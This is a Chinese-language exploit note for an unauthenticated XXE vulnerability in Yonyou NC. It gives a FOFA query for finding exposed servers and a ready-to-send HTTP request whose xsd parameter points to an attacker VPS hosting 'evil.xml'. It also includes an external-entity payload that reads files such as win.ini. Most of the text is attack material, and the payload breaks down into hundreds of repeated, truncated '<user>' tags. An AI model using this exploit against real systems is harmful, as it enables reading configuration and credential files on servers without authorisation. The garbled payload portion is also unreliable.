Y4-17用友-NC-XXE

漏洞描述:

用友 NC 多处接口存在XML实体注入漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状

网站图片:









UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体 与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动升级

连接

体验

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接,提供企业间数据共享和连接的服务,形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

app="用友-UFIDA-NC"

360quake语法:

Hunter 语法:

漏洞复现:

payload:

GET /uapws/service/nc.itf.bd.crm.ICustomerImportToNcService?xsd=http://VPS/evil.xml HTTP/1.1 Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip

任意文件读取利用,需要VPS上建立对应操作系统的xml文件,然后开启http服务。xml文件如下

windows:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]>
<user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user <user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user <user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user <user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user <user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user <user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user <user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user><user <user><user><user><user><user><user><user><user><user><user><us

效果图:

